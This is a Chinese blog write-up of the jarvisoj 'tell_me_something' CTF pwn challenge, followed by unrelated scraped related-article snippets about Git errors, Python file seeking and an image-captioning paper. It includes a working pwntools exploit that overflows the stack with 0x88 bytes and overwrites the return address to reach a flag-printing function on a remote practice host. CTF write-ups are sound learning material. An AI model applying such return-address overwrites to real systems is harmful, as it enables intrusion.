jarvisoj_tell_me_something

2023-11-07 12:30
文章标签 jarvisoj something tell

本文主要是介绍jarvisoj_tell_me_something,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

jarvisoj_tell_me_something

使用checksec查看:
在这里插入图片描述

看来又是一道栈溢出的题目,直接放IDA查看:
在这里插入图片描述

一眼看过去,main()函数中就已经存在栈溢出了

查看字符串可以发现,存在一个flag.txt的字符串,跟进函数查看:
在这里插入图片描述

这个函数读取并打印了flag,so…我们只需要return到这个函数即可

需要注意的是:
在这里插入图片描述
函数起始的时候并没有将rbp压入栈中,结束的时候也没有leave

所以我们在ret的时候不需要加上偏移,直接在0x88后面加上要ret的函数的地址

exp:

from pwn import *#start 
r = remote("node4.buuoj.cn",28428)
# r = process("../buu/jarvisoj_tell_me_something")#params
good_game_addr = 0x400620#attack
payload = b'M'*0x88 + p64(good_game_addr)
r.sendline(payload)r.interactive()

这篇关于jarvisoj_tell_me_something的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/363620

相关文章

Show,Attend and Tell: Neural Image Caption Generation with Visual Attention

简单的翻译阅读了一下 Abstract 受机器翻译和对象检测领域最新工作的启发,我们引入了一种基于注意力的模型,该模型可以自动学习描述图像的内容。我们描述了如何使用标准的反向传播技术,以确定性的方式训练模型,并通过最大化变分下界随机地训练模型。我们还通过可视化展示了模型如何能够自动学习将注视固定在显着对象上,同时在输出序列中生成相应的单词。我们通过三个基准数据集(Flickr9k,Flickr

解决git提交报错please tell me who you are

今天提交项目突然提示报错: unable to auto-detect email address:无法自动检测电子邮件地址 需要手动配置一下自己的邮件地址   1.《全局配置》可根据提示配置: git config --global user.eamil "xxxxx@XXXX.com"git config --global user.name "xxxxx" 2.《单独项目配

[CTF]jarvisoj_level2

解题思路 反编译后的源码: undefined4 main(void){vulnerable_function();system("echo \'Hello World!\'");return 0;}void vulnerable_function(void){undefined local_8c [136];system("echo Input:");read(0,local_8c,0

something about WinPE

【问】:啥是Win PE系统?做什么用的?和Win7哪个好?  【答】:Win PE系统是一个小型系统,一般用特殊工具将Win PE制作在U盘里,电脑110的志愿者们使用它对电脑上原有系统进行修复或是进行重装系统。这个小系统是微软开发的,E初衷只是方便企业制造自定义的Windows系统(比如现在的老毛桃、大白菜等),因此市面上并没有而且不可能出售。WinPE系统只有Windows系列系统(比

Git 相关问题: Please tell me who you are.

换了台电脑,提交代码的时候git出现了一个问题(我是直接将.ssh文件考到了相对的位置): 然后: 最终可以commit。 然后提交代码的时候又来了… 然后我就直接按照提示来了 git config --global push.default matchinggit config --global push.default simple 相关的修改也提交上去了 上网

Python入门文件之: seek()和tell()函数

Python open() 函数打开文件并读取文件中的内容时,总是会从文件的第一个字符(字节)开始读起。 那么,有没有办法可以自定指定读取的起始位置呢? 实现对文件指针的移动,文件对象提供了 tell() 函数和 seek() 函数。tell() 函数用于判断文件指针当前所处的位置,而 seek() 函数用于移动文件指针到文件的指定位置。 各个参数的含义如下: file:表

attention and tell论文【无标题】

这个公式使用LaTeX语法表示为: ( i t f t o t c t ) = ( σ σ σ tanh ⁡ ) T D + m + n , n ( E y t − 1 h t − 1 x t ) \begin{pmatrix}i_t \\f_t \\o_t \\c_t\end{pmatrix} =\begin{pmatrix}\sigma \\\sigma \\\sigma \\\tanh\en

解决Git:Author identity unknown Please tell me who you are.

报错信息: 意思: 作者身份未知 ***请告诉我你是谁。 解决办法: git config --global user.name "你的名字"git config --global user.email "你的邮箱"

Mark_Something

vimperator http://www.mathmu.cn/ ownCloud _ private cloud (开源真他妈的强) i3+ibus+w3m+vim/emacs+wcm

idea中执行git报错Please tell me who you are. Run git config --global user.email “you@exam

在使用idea的git commit -am“xx" 提交代码的时候报错: Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name “Your Name” 解决办法: git config --global user.em